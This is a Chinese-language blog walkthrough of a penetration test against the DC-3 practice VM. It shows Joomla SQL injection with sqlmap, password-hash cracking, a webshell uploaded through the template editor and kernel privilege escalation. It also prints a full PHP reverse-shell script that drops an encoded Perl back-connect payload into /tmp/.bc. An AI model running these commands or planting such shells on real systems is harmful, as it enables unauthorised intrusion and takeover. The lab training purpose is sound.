对DC-3靶机进行渗透测试

该文详细描述了一次针对DC-3靶机的渗透测试过程,包括信息收集、漏洞查找与利用。首先,通过网络扫描发现靶机并识别其服务。接着,利用nmap和joomscan工具挖掘CMS版本和潜在漏洞。通过SQL注入获取数据库信息,使用John爆破密码,然后通过文件上传漏洞反弹shell。最后,针对Linux系统进行提权,成功获取root权限。
摘要由CSDN通过智能技术生成

环境搭建

靶机:DC-3,IP地址:192.168.52.136

测试机:Kali,IP地址:192.168.52.134

渗透测试

一. 信息收集

1、下载安装并启动DC-3

下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。

在这里记一下DC-3的MAC地址,等下用的到。

启动DC-3时开机就好,因为不知道用户名和密码,所以登录不了

2、打开kali,查看kali的IP地址和子网掩码

因为DC-3和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-3的网络号

DC-3的网络号是:192.168.52.0/24

3、使用netdiscover扫描主机

netdiscover -i eth0 -r 192.168.52.0/24

##netdiscover: -i 指定网卡 -r 指定网段

也可以使用nmap进行主机发现,

nmap -sP 192.168.52.0/24

在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

或使用arp-scan -l命令拿到DC-3的IP地址

arp-scan -l

根据之前记下的MAC地址确定扫描到的主机哪一个是DC-3,因为MAC地址是主机的唯一标识。

获得DC-3靶机ip:192.168.52.136(可通过kali浏览器访问进行验证)

4、使用nmap扫描DC-3,看有什么服务是可利用的(端口扫描)

root@kali:~# nmap -sV -A 192.168.52.136

-sV只扫描端口及其版本号

-A扫描端口的详细信息

发现目标机开放了80端口。

5、我们以80端口作为突破口,访问80,查看基本信息

可以使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息

a、Wappalyzer相关信息:
b、利用dirsearch进行网站目录扫描:

dirsearch -u 192.168.52.136 -e * -i 200

-i 状态码 只显示该状态码

-x 状态码 不显示该状态码

c、确定了cms的版本
d、找到后台登入框

二. 漏洞查找

1、使用joomscan来扫描网站

joomscan是一款开源的且针对joomla的扫描器,可以帮助网络开发员和网站管理员帮助自己确定已部署的joomal网站可能会存在的安全漏洞,kali可以用命令apt install joomscan安装该工具

使用joomscan来扫描DC-3

joomscan -u 192.168.52.136

扫描出了cms的版本,还有一些目录跟后台登入界面,前面的信息收集里我们也是知道了的

2、searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块,“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。

Exploit-DB是一个漏洞库,kali中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用

searchsploit joomla 3.7.0

当前cms存在SQL注入的漏洞,还有跨站扫描漏洞,我们看一下SQL注入的,该漏洞的完整path是

/usr/share/exploitdb/exploits/php/webapps/42033.txt

拷贝漏洞的详细信息到桌面,cp 要拷贝的文件 拷贝后的文件

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root/桌面/42033.txt

在桌面打开该文件,发现给出了注入点

三. 漏洞利用

1. SQL注入

利用kali自带的sqlmap工具进行自动化注入:

a、列出所有数据库:
sqlmap -u "http://192.168.52.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs
--risk 3  执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
--level 3 sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
--random-agent   使用随机选择的HTTP User-Agent头值
--batch 默认确认,不询问你是否输入
--dbs列出所有数据库 

b、列出指定数据库的所有表
sqlmap -u "http://192.168.52.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch -D joomladb --tables
-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 获取表名

c、查看所有字段
sqlmap -u "http://192.168.52.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' --columns
-T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
--columns  获取字段

这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可

d、查看用户名与密码
sqlmap -u "http://192.168.52.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
-C 指定字段
--dump  获取数据信息
username:admin                                                    
password:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 

密码是加密过的,没有加密函数只能爆破密码了

2. 密码爆破

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明

先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件

john /root/桌面/password

不一会儿就爆破出来了,密码是snoopy,登入后台

3. 反弹shell

探索后台管理员系统,在Templates中找到发现了文件上传的点位,在beez3模块里

http://192.168.52.136/administrator/index.php?option=com_templates&view=template&id=503&file=aG9tZQ==

貌似有文件上传过滤,但是我们可以自己创建一个文件,写入木马 也可以直接反弹shell

将PHP反弹shell代码复制进去(网上随便找一个,文章后面总结也有,设置好目标ip跟端口就行)

保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

http://192.168.52.136/templates/beez3/webshell.php

kali监听8888端口

nc -lvvp 8888

接着我们去访问webshell地址,执行反弹shell的php代码,回到监听端口的终端

反弹shell成功

4. Get交互shell

跟DC-1一样,利用python获取交互shell

python -c 'import pty; pty.spawn("/bin/bash")'

交互shell获取成功,但是还不是root权限

四. Linux提权

1. 确定操作系统信息

这儿不能用suid和git提权,得换种方法,先查看操作系统版本信息可参考

查看Linux当前操作系统版本信息常用命令 ,以寻找提权漏洞突破口

tac /etc/issue

cat /proc/version

得到操作系统与其版本

2. 搜索操作系统漏洞

继续使用searchsploit工具搜索漏洞 ,打开另一个终端

searchsploit Ubuntu 16.04

Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,完整path:

/usr/share/exploitdb/exploits/linux/local/39772.txt

利用cp命令拷贝到桌面

cp /usr/share/exploitdb/exploits/linux/local/39772.txt /root/桌面/39772.txt

打开该文件

文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接:

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/blob/main/bin-sploits/39772.zip

3. 利用exp提权

接着我们下载该压缩包并放到kali桌面里,解压该文件,然后在桌面开启http服务,将下载好的文件导入到DC-3靶机里

python3 -m http.server 8888

浏览器访问一下开启的http服务

出现这个说明服务开启成功,exp地址是

http://192.168.52.134:8888/39772/39772/exploit.tar

回到我们的虚拟终端,利用wget命令下载该工具

wget http://192.168.52.134:8888/39772/39772/exploit.tar

下载完后用tar命令解压该压缩包

tar -xvf exploit.tar

接着cd进入解压后的文件夹

cd ebpf_mapfd_doubleput_exploit

根据文本提示

执行下两个文件,Linux系统下.(点)是执行某个文件的意思

./compile.sh

./doubleput

提权成功!!!

4. 找查flag

接着用find命令找查flag

find / -name *flag*

发现可疑文件,tac命令打开该文件

tac /root/the-flag.txt

拿到最终flag

五. 收获总结

1. joomscan

针对joomla开发的漏洞扫描器

joomscan -u [要攻击的IP或URL]

2. searchsploit

漏洞查找工具,可以通过操作系统或cms的版本号搜索到相应漏洞,通过查看说明即可找到漏洞利用方法

searchsploit [CMS或操作系统] [CMS或操作系统的版本号]

3. john

针对hash的密码爆破工具

john [含有密文的文件名]

4. PHP反弹shell

<?php
function which($pr) {
    $path = execute("which $pr");
    return ($path ? $path : $pr);
    }
function execute($cfe) {
    $res = '';
    if ($cfe) {
        if(function_exists('exec')) {
            @exec($cfe,$res);
            $res = join("\n",$res);
            } 
            elseif(function_exists('shell_exec')) {
            $res = @shell_exec($cfe);
            } elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

5. Linux的一些命令

cp        ——文件复制命令
cp [源文件] [新文件]

wget        ——远程文件下载命令
wget [文件的URL]

tar        ——文件压缩、解压命令
tar命令参考, tar 解压缩命令详解,以压缩tar后缀文件为例
tar -xvf [tar文件]

6. Linux系统信息文件

/etc/issue

/proc/version

更多查看系统信息的操作可参考查看Linux当前操作系统版本信息常用命令

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值